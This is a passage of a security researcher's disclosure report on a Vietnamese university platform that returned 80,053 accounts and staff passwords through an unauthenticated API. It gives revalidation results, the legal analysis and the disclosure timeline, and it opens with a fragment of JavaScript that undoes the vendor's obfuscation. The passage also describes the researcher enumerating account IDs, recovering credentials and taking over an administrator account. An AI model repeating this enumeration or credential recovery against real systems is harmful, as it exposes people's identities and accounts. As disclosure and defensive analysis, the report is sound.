                    <span class="k">return</span> <span class="dl">"</span><span class="s2">%</span><span class="dl">"</span> <span class="o">+</span> <span class="nx">c</span><span class="p">.</span><span class="nx">charCodeAt</span><span class="p">(</span><span class="mi">0</span><span class="p">).</span><span class="nx">toString</span><span class="p">(</span><span class="mi">16</span><span class="p">);</span>
                <span class="p">}).</span><span class="nx">join</span><span class="p">(</span><span class="dl">""</span><span class="p">)</span>
            <span class="p">);</span>
    <span class="p">}</span>
<span class="p">};</span>
</code></pre></div></div>

<p>A five-line function to undo the entire “security” measure. The key, the algorithm, and the implementation are all delivered to the attacker’s browser as part of normal page load. Security through obscurity – and not even good obscurity.</p>

<h3 id="73-connectionsuniversityxvn-completely-untouched">7.3. connections.universityx.vn: Completely Untouched</h3>

<p>While Company Y applied their cosmetic fix to the exam system, the in-house platform at <code class="language-plaintext highlighter-rouge">connections.universityx.vn</code> received <strong>no changes whatsoever</strong>. All 80,053 accounts remained fully accessible. Staff passwords were still in the API response.</p>

<p>They patched the window and left the front door wide open.</p>

<h3 id="74-revalidation-results">7.4. Revalidation Results</h3>

<p>On March 10, 2026, I went back and systematically re-tested every attack vector across both platforms:</p>

<table>
  <thead>
    <tr>
      <th>Test</th>
      <th>Target</th>
      <th>Result</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>T1: JS framework accessible</td>
      <td>Both</td>
      <td><strong>VULNERABLE</strong></td>
    </tr>
    <tr>
      <td>T2: Auto-session without auth</td>
      <td>Both</td>
      <td><strong>VULNERABLE</strong></td>
    </tr>
    <tr>
      <td>T3: Account IDOR</td>
      <td>connections.universityx.vn</td>
      <td><strong>VULNERABLE</strong></td>
    </tr>
    <tr>
      <td>T4: Candidate table access</td>
      <td>tec.universityx.vn</td>
      <td><strong>VULNERABLE</strong> (b6x only)</td>
    </tr>
    <tr>
      <td>T5: Registration table search</td>
      <td>tec.universityx.vn</td>
      <td>FIXED</td>
    </tr>
    <tr>
      <td>T6: Bulk data loading</td>
      <td>Both</td>
      <td><strong>VULNERABLE</strong></td>
    </tr>
    <tr>
      <td>T7: XHR authentication</td>
      <td>tec.universityx.vn</td>
      <td>FIXED</td>
    </tr>
    <tr>
      <td>T8: CDN image access</td>
      <td>tec.universityx.vn</td>
      <td>FIXED</td>
    </tr>
    <tr>
      <td>T9: Password field exposure</td>
      <td>connections.universityx.vn</td>
      <td><strong>VULNERABLE</strong></td>
    </tr>
    <tr>
      <td>T10: In-house platform access</td>
      <td>connections.universityx.vn</td>
      <td><strong>ACCESSIBLE</strong></td>
    </tr>
  </tbody>
</table>

<p><strong>Score: 7 out of 10 tests still vulnerable.</strong> The registration search and image CDN were restricted, and one XHR endpoint added a token check. But the core vulnerability – unauthenticated database access via IDOR – remained fully exploitable on both platforms.</p>

<p>The vendor treated symptoms while leaving the disease untouched.</p>

<h2 id="8-impact-assessment">8. Impact Assessment</h2>

<h3 id="81-scale-of-exposure">8.1. Scale of Exposure</h3>

<table>
  <thead>
    <tr>
      <th>Category</th>
      <th>Count</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Total accounts exposed</td>
      <td>80,053</td>
    </tr>
    <tr>
      <td>Full names</td>
      <td>80,037</td>
    </tr>
    <tr>
      <td>Dates of birth</td>
      <td>78,637</td>
    </tr>
    <tr>
      <td>Phone numbers</td>
      <td>23,970</td>
    </tr>
    <tr>
      <td>Email addresses</td>
      <td>29,640</td>
    </tr>
    <tr>
      <td>CCCD/CMND numbers</td>
      <td>2,750</td>
    </tr>
    <tr>
      <td>Hometowns</td>
      <td>50,042</td>
    </tr>
    <tr>
      <td>Profile photos</td>
      <td>6,586</td>
    </tr>
    <tr>
      <td>Family members’ names</td>
      <td>677 (333 fathers + 344 mothers)</td>
    </tr>
    <tr>
      <td>Accounts with credential data</td>
      <td>561</td>
    </tr>
    <tr>
      <td>Accounts with passwords</td>
      <td>554 (50 plaintext + 504 masked)</td>
    </tr>
    <tr>
      <td>Usable credentials obtained</td>
      <td>208 (50 plaintext + 158 recovered)</td>
    </tr>
    <tr>
      <td>Account takeover demonstrated</td>
      <td>Yes (Vice Rector)</td>
    </tr>
  </tbody>
</table>

<h3 id="82-attack-complexity">8.2. Attack Complexity</h3>

<p>This is not a sophisticated attack. The entire exploitation chain requires:</p>

<ol>
  <li>Open a browser.</li>
  <li>Open the developer console.</li>
  <li>Type a single API call.</li>
  <li>Read the response.</li>
</ol>

<p>CVSS 3.1 Vector: <code class="language-plaintext highlighter-rouge">AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N</code> – <strong>9.8 Critical</strong>.</p>

<p>No special tools. No technical expertise beyond basic JavaScript. No interaction from the victim. Fully automatable. Executable at scale. A motivated attacker could extract all 80,053 accounts in a matter of hours.</p>

<h3 id="83-real-world-risk-scenarios">8.3. Real-World Risk Scenarios</h3>

<p><strong>Identity theft and fraud:</strong> 2,750 national ID numbers combined with full names, dates of birth, and addresses – everything needed for identity fraud, unauthorized financial account creation, or SIM-swapping attacks.</p>

<p><strong>Targeted phishing:</strong> 29,640 email addresses and 23,970 phone numbers, combined with detailed personal context (faculty, major, enrollment year) – the ingredients for highly targeted social engineering campaigns that would be almost impossible to distinguish from legitimate university communications.</p>

<p><strong>Account takeover cascade:</strong> 208 usable staff credentials that may be reused across other systems – university email, internal portals, government services. A Vice Rector’s compromised account could be leveraged for further lateral movement into more sensitive systems.</p>

<p><strong>Institutional damage:</strong> Unauthorized administrative access could allow modification of student records, academic results, or official communications. Imagine a compromised account changing grades or sending fake announcements to the entire university.</p>

<p><strong>Family members at risk:</strong> 677 accounts exposed parents’ names and birth years – data that can be used in social engineering or identity verification bypass. The exposure reaches beyond the individuals who signed up.</p>

<h3 id="84-legal-context-vietnams-personal-data-protection-framework">8.4. Legal Context: Vietnam’s Personal Data Protection Framework</h3>

<p>Vietnam protects personal data through two layers of legislation: <strong><a href="https://vanban.chinhphu.vn/?pageid=27160&amp;docid=207759">Decree 13/2023/NĐ-CP</a></strong> (effective July 1, 2023) and the newer <strong><a href="https://chinhphu.vn/?pageid=27160&amp;docid=214590&amp;classid=1&amp;typegroupid=3">Law on Personal Data Protection – Law 91/2025/QH15</a></strong> (passed June 26, 2025, effective January 1, 2026). Together, they form a legal framework that requires organizations to protect personal data, grants citizens control over their own information, and imposes serious penalties for violations.</p>

<p>Both University X and Company Y are in direct, documented violation of this framework. This is not a matter of interpretation. The violations are architectural, systematic, and ongoing.</p>

<h4 id="what-the-law-defines-as-protected-data">What the law defines as protected data</h4>

<p><strong>Decree 13, Article 2, Clause 3</strong> classifies the following as basic personal data: full name, date of birth, gender, place of birth, place of residence, nationality, personal image, phone number, CMND/CCCD number, and family relationship information. <strong>Every single one</strong> of these categories was exposed in this investigation – for over 80,000 individuals – with zero access controls.</p>

<p><strong>Decree 13, Article 2, Clause 4</strong> defines <strong>sensitive personal data</strong> as data that, when violated, directly affects the rights and legitimate interests of the individual – including political and religious views, ethnicity data, and data about criminal records. This investigation exposed ethnicity for 7,845 accounts and religion for 5,476 accounts.</p>

<p><strong>Law 91/2025, Article 2</strong> reinforces these definitions and adds that sensitive personal data is determined by a Government-issued list, and that even de-identified data – once re-identified – is still personal data (Article 2, Clause 1).</p>

<h4 id="who-is-responsible">Who is responsible?</h4>

<p>Both laws draw the same clear line between two roles:</p>

<ul>
  <li>
    <p><strong>Data Controller</strong> (<em>Bên Kiểm soát dữ liệu cá nhân</em>): the organization that determines the purpose and means of processing personal data (Decree 13, Art. 2 Cl. 9; Law 91, Art. 2 Cl. 7). <strong>University X is the Data Controller.</strong> The university decided to collect student and staff data, determined what data to store, and chose to deploy the Connections platform. The data belongs to University X’s students and staff. The responsibility starts here.</p>
  </li>
  <li>
    <p><strong>Data Processor</strong> (<em>Bên Xử lý dữ liệu cá nhân</em>): the organization that processes data on behalf of the Data Controller, through a contract or agreement (Decree 13, Art. 2 Cl. 10; Law 91, Art. 2 Cl. 8). <strong>Company Y is the Data Processor.</strong> They built, hosted, and operated the Connections platform that stored and served University X’s data. They are the ones who decided the platform needed no authentication.</p>
  </li>
</ul>

<h4 id="what-they-were-required-to-do--and-did-not">What they were required to do – and did not</h4>

<p><strong>Decree 13, Article 26</strong> requires that data protection measures be applied from the very beginning and throughout the entire processing lifecycle. These measures must include both organizational and technical safeguards (Clause 2). Company Y’s platform had <em>no</em> technical safeguards. No authentication. No access control. No encryption. The API served raw personal data to anonymous visitors.</p>

<p><strong>Decree 13, Article 27</strong> requires controllers and processors to check network security of systems and devices used for processing personal data, and to erase or destroy data on unrecoverable devices (Clause 4). The platform had no network security checks – any browser could query the database directly.</p>

<p><strong>Law 91/2025, Article 3</strong> establishes the core principles: personal data may only be collected and processed within a defined scope, for a clear and lawful purpose (Clause 2); effective institutional, technical, and human measures must be implemented to protect personal data (Clause 4); and organizations must proactively prevent, detect, block, and handle all violations in a timely manner (Clause 5). Company Y violated every single one of these principles. University X failed to verify that any of them were being followed.</p>

<p><strong>Law 91/2025, Article 12</strong> explicitly requires the <strong>encryption of personal data</strong> – converting it into a form that cannot be recognized without decryption (Clause 1). Company Y did the opposite: they stored passwords in plaintext and personal data in raw, unencrypted API responses accessible to anyone.</p>

<p><strong>Decree 13, Article 38</strong> defines the Data Controller’s obligations: implement organizational and technical measures to demonstrate compliance (Clause 1), maintain processing logs (Clause 2), report violations per Article 23 (Clause 3), choose only Data Processors with adequate protection measures (Clause 4), and <strong>bear responsibility to data subjects for damages caused by processing</strong> (Clause 6). University X chose Company Y as its Data Processor without verifying – or despite – the complete absence of security measures.</p>

<p><strong>Decree 13, Article 39</strong> defines the Data Processor’s obligations: only accept data after a contract or agreement (Clause 1), process data according to that agreement (Clause 2), fully implement all protection measures required by the decree (Clause 3), and <strong>bear responsibility to data subjects for damages caused during processing</strong> (Clause 4). Company Y failed on every count.</p>

<h4 id="what-the-law-demands-after-a-violation-is-discovered">What the law demands after a violation is discovered</h4>

<p><strong>Decree 13, Article 23</strong> mandates that upon discovering a data protection violation, the Data Controller must notify the Ministry of Public Security (Department of Cybersecurity and High-Tech Crime Prevention) <strong>within 72 hours</strong> using the prescribed Form No. 03 (Clause 1). The Data Processor must notify the Data Controller as soon as possible (Clause 2). The notification must include: the nature of the violation, the time and location, the types of personal data affected, the number of data subjects involved, and the measures taken to address the harm (Clause 3).</p>

<p><strong>Law 91/2025, Article 23</strong> strengthens this requirement: when a violation that could harm national security, social order, life, health, reputation, dignity, or property of data subjects is discovered, notification to the data protection authority must happen <strong>within 72 hours</strong> (Clause 1). The Data Controller must prepare an official incident report and cooperate with authorities to handle the violation (Clause 2).</p>

<p><strong>Law 91/2025, Article 21</strong> requires Data Controllers and Processors to prepare and maintain a <strong>Data Processing Impact Assessment</strong> – filed with the data protection authority within 60 days of starting data processing (Clause 1). This assessment must be updated annually (Clause 2) and must always be available for inspection by the Ministry of Public Security (Decree 13, Article 24, Clause 4). There is no evidence that University X or Company Y ever filed such an assessment.</p>

<h4 id="what-are-the-consequences">What are the consequences?</h4>

<p>The penalties are no longer vague. <strong>Law 91/2025, Article 8</strong> spells them out:</p>

<ul>
  <li>Violations may result in <strong>disciplinary action, administrative penalties, or criminal prosecution</strong> depending on the nature and severity (Clause 1).</li>
  <li>For individuals who buy, sell, or illegally trade personal data: fines of up to <strong>10 times the revenue</strong> derived from the violation (Clause 3).</li>
  <li>For organizations violating cross-border data transfer rules: fines of up to <strong>5% of the organization’s annual revenue</strong> in Vietnam (Clause 4).</li>
  <li>For all other data protection violations: maximum administrative fines of <strong>3 billion VND</strong> (~$120,000 USD) for organizations (Clause 5).</li>
  <li>Individuals committing the same violations face fines of up to <strong>half</strong> the organizational maximum (Clause 6).</li>
  <li>If violations cause damages, <strong>compensation is mandatory</strong> under the law (Clause 1).</li>
</ul>

<p><strong>Decree 13, Article 4</strong> adds that violations may be handled through disciplinary measures, administrative sanctions, or criminal prosecution depending on severity.</p>

<h4 id="what-80053-data-subjects-can-demand">What 80,053 data subjects can demand</h4>

<p>The rights of data subjects are not theoretical. They are enforceable:</p>

<ul>
  <li><strong>Right to know</strong> about data processing activities (Law 91, Art. 4 Cl. 1a; Decree 13, Art. 9 Cl. 1)</li>
  <li><strong>Right to withdraw consent</strong> (Law 91, Art. 4 Cl. 1b; Decree 13, Art. 9 Cl. 2)</li>
  <li><strong>Right to access and correct</strong> their data (Law 91, Art. 4 Cl. 1c; Decree 13, Art. 9 Cl. 3)</li>
  <li><strong>Right to request deletion</strong> and restriction of processing (Law 91, Art. 4 Cl. 1d; Decree 13, Art. 9 Cl. 5–6)</li>
  <li><strong>Right to file complaints, lawsuits, and demand compensation</strong> for damages (Law 91, Art. 4 Cl. 1đ; Decree 13, Art. 9 Cl. 9–10)</li>
  <li><strong>Right to request</strong> that competent authorities and related organizations implement data protection measures (Law 91, Art. 4 Cl. 1e)</li>
</ul>

<p>Every one of the 80,053 exposed individuals has these rights. Every one of them can demand answers from University X and Company Y. Every one of them can demand that their data be secured, that they be notified of the breach, and that they be compensated for the violation.</p>

<h4 id="the-bottom-line">The bottom line</h4>

<p>University X cannot hide behind Company Y. The law makes the Data Controller explicitly responsible for choosing a Data Processor with adequate protection measures (Decree 13, Art. 38 Cl. 4) and liable for damages (Decree 13, Art. 38 Cl. 6). By outsourcing their platform to a vendor with zero security architecture, University X did not outsource their responsibility – they amplified their liability.</p>

<p>Company Y cannot claim ignorance. They built the platform. They decided that client-side JavaScript was sufficient security. They chose to return passwords in API responses. They failed to encrypt personal data as required by Law 91 Article 12. Every architectural decision that led to this exposure was theirs.</p>

<p>The law requires them to act. Not eventually. Not when convenient. <strong>Now.</strong></p>

<ul>
  <li>Notify the Ministry of Public Security within 72 hours of discovering the violation.</li>
  <li>Prepare and file Data Processing Impact Assessments.</li>
  <li>Implement real authentication, access control, and encryption.</li>
  <li>Notify all 80,053 affected individuals.</li>
  <li>Remove exposed credentials from the API immediately.</li>
  <li>Conduct a full security audit of the Connections platform – not just the University X deployment, but every client running on the same architecture.</li>
</ul>

<p>80,053 people trusted University X with their personal data. That trust was delegated to Company Y. Both failed. The law says that failure has consequences. It is time those consequences are enforced.</p>

<h2 id="9-conclusion">9. Conclusion</h2>

<p>In Part 1, I found 896 people’s identity cards exposed through a university exam portal. The natural follow-up question – “what about the bigger platform?” – led to an answer that was orders of magnitude worse: 80,053 accounts, staff passwords in the API, and administrative account takeover.</p>

<p>The root cause has not changed since Part 1. It is the same architectural failure: <strong>Company Y’s Connections platform enforces no server-side authentication or authorization</strong>. The JavaScript framework running in the user’s browser is the only thing between a visitor and the database. That is not a security boundary. It is the absence of one.</p>

<p>What makes this finding particularly troubling is the password exposure. Storing credentials in a client-accessible API response – even masked – is not a design oversight. It is a fundamental misunderstanding of how authentication systems should work. Passwords should never leave the server, in any form, under any circumstances. The fact that the masking algorithm could be reversed using data from the same response elevates this from a data leak to a complete authentication compromise.</p>

<p>The vendor’s initial response – removing some field values and adding a client-side substitution cipher – demonstrated a pattern of treating visible symptoms rather than addressing root causes. As of the March 10 revalidation, 7 of 10 attack vectors remained exploitable, and the in-house platform had received no security changes at all. <em>(See <a href="#10-revalidation-update--june-23-2026">Section 10</a> for the June 23 update, where the vendor deployed server-side authentication and remediated the core vulnerability.)</em></p>

<p>These are not abstract risks. Behind the 80,053 account IDs are real people: students who trusted their university with personal information, alumni who expected their data to remain private, and staff whose credentials were exposed to anyone who cared to look. A Vice Rector’s account was compromised not through a clever exploit, but by reading a field in an API response and typing it into a login form.</p>

<p>The fix this platform needs is not another layer of client-side obfuscation. It is the implementation of what should have existed from day one: server-side authentication, role-based access control, and the basic principle that a database should not answer questions from strangers.</p>

<h2 id="10-revalidation-update--june-23-2026">10. Revalidation Update – June 23, 2026</h2>

<p>On June 23, 2026, ten days after this report was published, I retested all attack vectors on both platforms. Company Y had updated the codebase that same day (version <code class="language-plaintext highlighter-rouge">14484523062026</code>), and the results were substantially different from the March 10 revalidation.</p>

<h3 id="what-changed">What changed</h3>

<p>The most significant fix is architectural: <strong>the XHR API gateway now enforces server-side authentication.</strong> Both <code class="language-plaintext highlighter-rouge">connections.universityx.vn/xhr/</code> and the secondary endpoint at <code class="language-plaintext highlighter-rouge">xhr.companyy.com/xhr/</code> return HTTP 403 with <code class="language-plaintext highlighter-rouge">{"error":403,"code":"access_denied"}</code> for unauthenticated POST requests. This is the first time server-side access control has been observed on this platform.</p>

<p>With the API gateway locked, the downstream effects are immediate:</p>

<ul>
  <li><strong>Account IDOR is dead.</strong> All tested account IDs (including the original range of 7,787–215,212) return null. The database no longer answers questions from strangers.</li>
  <li><strong>Password exposure is eliminated.</strong> With account records blocked, the password field (<code class="language-plaintext highlighter-rouge">ợ</code>) is no longer accessible. The 208 usable staff credentials documented in this report are no longer retrievable.</li>
  <li><strong>Bulk enumeration is blocked</strong> on <code class="language-plaintext highlighter-rouge">connections.universityx.vn</code>. The mass-load endpoint returns an empty array.</li>
  <li><strong>The b6x cipher has been removed</strong> from <code class="language-plaintext highlighter-rouge">tec.universityx.vn</code>. The monoalphabetic substitution layer documented in Section 7.2 is gone entirely.</li>
</ul>

<h3 id="what-remains-vulnerable">What remains vulnerable</h3>

<p>The JS framework and auto-session creation are still exposed on both platforms. Anonymous visitors still receive session IDs and access to the full client-side API surface. These are low-severity on their own, as they only become dangerous when combined with data access, which is now blocked.</p>

<p>On <code class="language-plaintext highlighter-rouge">tec.universityx.vn</code> (the Part 1 exam system), the fix is less complete:</p>

<table>
  <thead>
    <tr>
      <th>Issue</th>
      <th>Status</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Candidate #1662402 still exposes DOB, gender, and CCCD image reference IDs</td>
      <td>VULNERABLE</td>
    </tr>
    <tr>
      <td>Bulk load returns 50,403 candidate IDs (records mostly empty)</td>
      <td>VULNERABLE</td>
    </tr>
    <tr>
      <td>CDN image nodes (i0/i3) responding again after being fixed in March</td>
      <td>REGRESSED</td>
    </tr>
  </tbody>
</table>

<h3 id="scorecard">Scorecard</h3>

<table>
  <thead>
    <tr>
      <th>Platform</th>
      <th>Tests</th>
      <th>Fixed</th>
      <th>Vulnerable</th>
      <th>Score</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>connections.universityx.vn (Part 2)</td>
      <td>13</td>
      <td>11</td>
      <td>2</td>
      <td><strong>85% fixed</strong></td>
    </tr>
    <tr>
      <td>tec.universityx.vn (Part 1)</td>
      <td>13</td>
      <td>6</td>
      <td>5</td>
      <td><strong>46% fixed</strong></td>
    </tr>
    <tr>
      <td>Previous (March 10, both)</td>
      <td>10</td>
      <td>3</td>
      <td>7</td>
      <td>30% fixed</td>
    </tr>
  </tbody>
</table>

<h3 id="is-this-safe-enough">Is this safe enough?</h3>

<p>For <code class="language-plaintext highlighter-rouge">connections.universityx.vn</code>, the platform documented in this report: <strong>yes, the critical vulnerability is remediated.</strong> The 80,053 accounts and staff passwords are no longer accessible to unauthenticated users. The vendor has moved from “no security” to “server-side enforcement at the API gateway,” which is the correct architectural fix rather than another layer of client-side obfuscation.</p>

<p>That said, the fix is an authentication gate bolted onto an existing architecture, not a redesign. The client-side framework still loads, sessions are still auto-created, and the underlying data model presumably still returns all fields to authenticated users without role-based filtering. A compromised or low-privilege authenticated session might still access more data than it should. A full security audit would need to verify that the post-authentication access controls are equally robust.</p>

<p>For <code class="language-plaintext highlighter-rouge">tec.universityx.vn</code>, the picture is mixed. The exam system still leaks partial candidate data and has regressed on CDN image access. The Part 1 findings are not fully resolved.</p>

<p>The vendor has made real progress. Whether it is sufficient depends on whether they continue: the pattern so far has been incremental patches in response to published reports rather than a comprehensive security review of the platform. The next step should be a professional penetration test of the authenticated attack surface, something that is outside the scope of this research.</p>

<hr />

<h2 id="appendix">Appendix</h2>

<h3 id="a-responsible-disclosure-timeline">A. Responsible Disclosure Timeline</h3>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Event</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2026-02-25</td>
      <td>Vulnerability discovered on tec.universityx.vn (Part 1)</td>
    </tr>
    <tr>
      <td>2026-02-26</td>
      <td>connections.universityx.vn investigation; 80,053 accounts extracted</td>
    </tr>
    <tr>
      <td>2026-02-26</td>
      <td>Technical report completed</td>
    </tr>
    <tr>
      <td>2026-02-27</td>
      <td>CVE request submitted to MITRE</td>
    </tr>
    <tr>
      <td>2026-02-28</td>
      <td>Company Y acknowledged report, confirmed remediation started</td>
    </tr>
    <tr>
      <td>2026-03-10</td>
      <td>Revalidation: 7/10 attack vectors still vulnerable</td>
    </tr>
    <tr>
      <td>2026-03-24</td>
      <td>Part 1 published (anonymized)</td>
    </tr>
    <tr>
      <td>2026-06-13</td>
      <td>Part 2 published (this report)</td>
    </tr>
    <tr>
      <td>2026-06-23</td>
      <td>Revalidation: 85% fixed on connections.universityx.vn, 46% on tec.universityx.vn</td>
    </tr>
  </tbody>
</table>

<h3 id="b-technical-attack-classification">B. Technical Attack Classification</h3>

<table>
  <thead>
    <tr>
      <th>Technique</th>
      <th>Framework</th>
      <th>Application</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>IDOR</td>
      <td>OWASP Top 10</td>
      <td>Sequential account ID enumeration (7,787–215,212)</td>
    </tr>
    <tr>
      <td>Broken Access Control</td>
      <td>OWASP Top 10</td>
      <td>No authentication on any API endpoint</td>
    </tr>
    <tr>
      <td>Credential Exposure</td>
      <td>OWASP Top 10</td>
      <td>Passwords returned in API responses</td>
    </tr>
    <tr>
      <td>Broken Authentication</td>
      <td>OWASP Top 10</td>
      <td>No server-side auth; client-side only</td>
    </tr>
    <tr>
      <td>Security Misconfiguration</td>
      <td>OWASP Top 10</td>
      <td>Default-open database access</td>
    </tr>
    <tr>
      <td>Insufficient Cryptography</td>
      <td>CWE-327</td>
      <td>Monoalphabetic substitution as “encryption”</td>
    </tr>
  </tbody>
</table>

<h3 id="c-data-source-summary">C. Data Source Summary</h3>

<p>All statistics in this report are derived from the following extracted datasets:</p>

<table>
  <thead>
    <tr>
      <th>File</th>
      <th>Records</th>
      <th>Description</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>universityx_conn_accounts.csv</td>
      <td>80,053</td>
      <td>Complete account dataset (40 fields each)</td>
    </tr>
    <tr>
      <td>universityx_conn_current_students.csv</td>
      <td>21,393</td>
      <td>Current students subset</td>
    </tr>
    <tr>
      <td>universityx_conn_old_students.csv</td>
      <td>57,588</td>
      <td>Alumni/former students subset</td>
    </tr>
    <tr>
      <td>universityx_conn_staff.csv</td>
      <td>562</td>
      <td>Staff &amp; faculty subset (44 fields, includes credentials)</td>
    </tr>
    <tr>
      <td>universityx_conn_companies.csv</td>
      <td>166</td>
      <td>Corporate/partner accounts subset</td>
    </tr>
    <tr>
      <td>universityx_conn_guests.csv</td>
      <td>344</td>
      <td>Guest accounts subset</td>
    </tr>
    <tr>
      <td>credentials_exposed.csv</td>
      <td>561</td>
      <td>All accounts with credential fields</td>
    </tr>
    <tr>
      <td>unmasked_staff.csv</td>
      <td>208</td>
      <td>Successfully recovered/plaintext credentials</td>
    </tr>
  </tbody>
</table>

<p>Sub-CSV totals: 21,393 + 57,588 + 562 + 166 + 344 = <strong>80,053</strong> (matches main dataset exactly).</p>

<h3 id="d-glossary">D. Glossary</h3>

<table>
  <thead>
    <tr>
      <th>Term</th>
      <th>Definition</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>CCCD</td>
      <td>Citizen Identity Card</td>
    </tr>
    <tr>
      <td>CMND</td>
      <td>People’s Identity Card – old format</td>
    </tr>
    <tr>
      <td>IDOR</td>
      <td>Insecure Direct Object Reference</td>
    </tr>
    <tr>
      <td>University X</td>
      <td>Pseudonym for the affected university</td>
    </tr>
    <tr>
      <td>Company Y</td>
      <td>Pseudonym for the platform vendor</td>
    </tr>
    <tr>
      <td>Platform Z</td>
      <td>The “Connections” SaaS platform operated by Company Y</td>
    </tr>
    <tr>
      <td>PII</td>
      <td>Personally Identifiable Information</td>
    </tr>
    <tr>
      <td>b6x</td>
      <td>Custom Base64 alphabet used by Platform Z’s obfuscation layer</td>
    </tr>
  </tbody>
</table>

<h3 id="e-sample-account-record-redacted">E. Sample Account Record (Redacted)</h3>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
  </span><span class="nl">"account_id"</span><span class="p">:</span><span class="w"> </span><span class="s2">"[REDACTED]"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"ho_ten"</span><span class="p">:</span><span class="w"> </span><span class="s2">"[REDACTED]"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"ngay_sinh"</span><span class="p">:</span><span class="w"> </span><span class="s2">"xx/xx/1999"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"gioi_tinh"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Nữ"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"sdt"</span><span class="p">:</span><span class="w"> </span><span class="s2">"098XXXXXXX"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"email"</span><span class="p">:</span><span class="w"> </span><span class="s2">"[redacted]@gmail.com"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"cmnd_cccd"</span><span class="p">:</span><span class="w"> </span><span class="s2">"001XXXXXXXXX"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"que_quan"</span><span class="p">:</span><span class="w"> </span><span class="s2">"[Province]"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"ma_sinh_vien"</span><span class="p">:</span><span class="w"> </span><span class="s2">"19XXXXXX"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"khoa"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Faculty of [REDACTED]"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"nganh"</span><span class="p">:</span><span class="w"> </span><span class="s2">"[REDACTED]"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"khoa_hoc"</span><span class="p">:</span><span class="w"> </span><span class="s2">"20xx-20xx"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"loai_tk"</span><span class="p">:</span><span class="w"> </span><span class="s2">"0"</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<h3 id="f-detailed-statistical-tables">F. Detailed Statistical Tables</h3>

<p>This appendix contains the full statistical breakdowns referenced in Section 3.5.</p>

<p><strong>Email Domain Distribution</strong> (29,640 email addresses):</p>

<table>
  <thead>
    <tr>
      <th>Domain</th>
      <th>Count</th>
      <th>Significance</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>gmail.com</td>
      <td>20,793</td>
      <td>Personal accounts</td>
    </tr>
    <tr>
      <td>ms.universityx.edu.vn</td>
      <td>5,329</td>
      <td>Official university Microsoft 365 accounts</td>
    </tr>
    <tr>
      <td>s.universityx.edu.vn</td>
      <td>1,309</td>
      <td>Student email system</td>
    </tr>
    <tr>
      <td>universityx.edu.vn</td>
      <td>1,124</td>
      <td>Faculty/staff email</td>
    </tr>
    <tr>
      <td>Others</td>
      <td>1,085</td>
      <td>Including typos: <code class="language-plaintext highlighter-rouge">gmai.com</code> (68), <code class="language-plaintext highlighter-rouge">gmail.con</code> (48), <code class="language-plaintext highlighter-rouge">yahoo.com</code> (63), <code class="language-plaintext highlighter-rouge">icloud.com</code> (55), <code class="language-plaintext highlighter-rouge">qq.com</code> (39)</td>
    </tr>
  </tbody>
</table>

<p><strong>Gender Distribution:</strong></p>

<table>
  <thead>
    <tr>
      <th>Gender</th>
      <th>Count</th>
      <th>Percentage</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Female</td>
      <td>54,815</td>
      <td>68.5%</td>
    </tr>
    <tr>
      <td>Male</td>
      <td>13,522</td>
      <td>16.9%</td>
    </tr>
    <tr>
      <td>Not set / Unknown</td>
      <td>11,716</td>
      <td>14.6%</td>
    </tr>
  </tbody>
</table>

<p><strong>Geographic Distribution</strong> – top 15 hometowns (of 50,042 with data):</p>

<table>
  <thead>
    <tr>
      <th>Province</th>
      <th>Count</th>
      <th>Percentage</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Ha Noi</td>
      <td>17,775</td>
      <td>35.5%</td>
    </tr>
    <tr>
      <td>Nam Dinh</td>
      <td>2,839</td>
      <td>5.7%</td>
    </tr>
    <tr>
      <td>Thai Binh</td>
      <td>2,587</td>
      <td>5.2%</td>
    </tr>
    <tr>
      <td>Ha Tay</td>
      <td>2,567</td>
      <td>5.1%</td>
    </tr>
    <tr>
      <td>Hai Duong</td>
      <td>2,158</td>
      <td>4.3%</td>
    </tr>
    <tr>
      <td>Hai Phong</td>
      <td>2,082</td>
      <td>4.2%</td>
    </tr>
    <tr>
      <td>Bac Ninh</td>
      <td>1,588</td>
      <td>3.2%</td>
    </tr>
    <tr>
      <td>Bac Giang</td>
      <td>1,501</td>
      <td>3.0%</td>
    </tr>
    <tr>
      <td>Vinh Phuc</td>
      <td>1,466</td>
      <td>2.9%</td>
    </tr>
    <tr>
      <td>Ha Nam</td>
      <td>1,289</td>
      <td>2.6%</td>
    </tr>
    <tr>
      <td>Hung Yen</td>
      <td>1,216</td>
      <td>2.4%</td>
    </tr>
    <tr>
      <td>Phu Tho</td>
      <td>1,185</td>
      <td>2.4%</td>
    </tr>
    <tr>
      <td>Thanh Hoa</td>
      <td>1,178</td>
      <td>2.4%</td>
    </tr>
    <tr>
      <td>Nghe An</td>
      <td>972</td>
      <td>1.9%</td>
    </tr>
    <tr>
      <td>Ninh Binh</td>
      <td>941</td>
      <td>1.9%</td>
    </tr>
  </tbody>
</table>

<p><strong>Top 10 Faculties:</strong></p>

<table>
  <thead>
    <tr>
      <th>Faculty</th>
      <th>Count</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Business Administration &amp; Tourism</td>
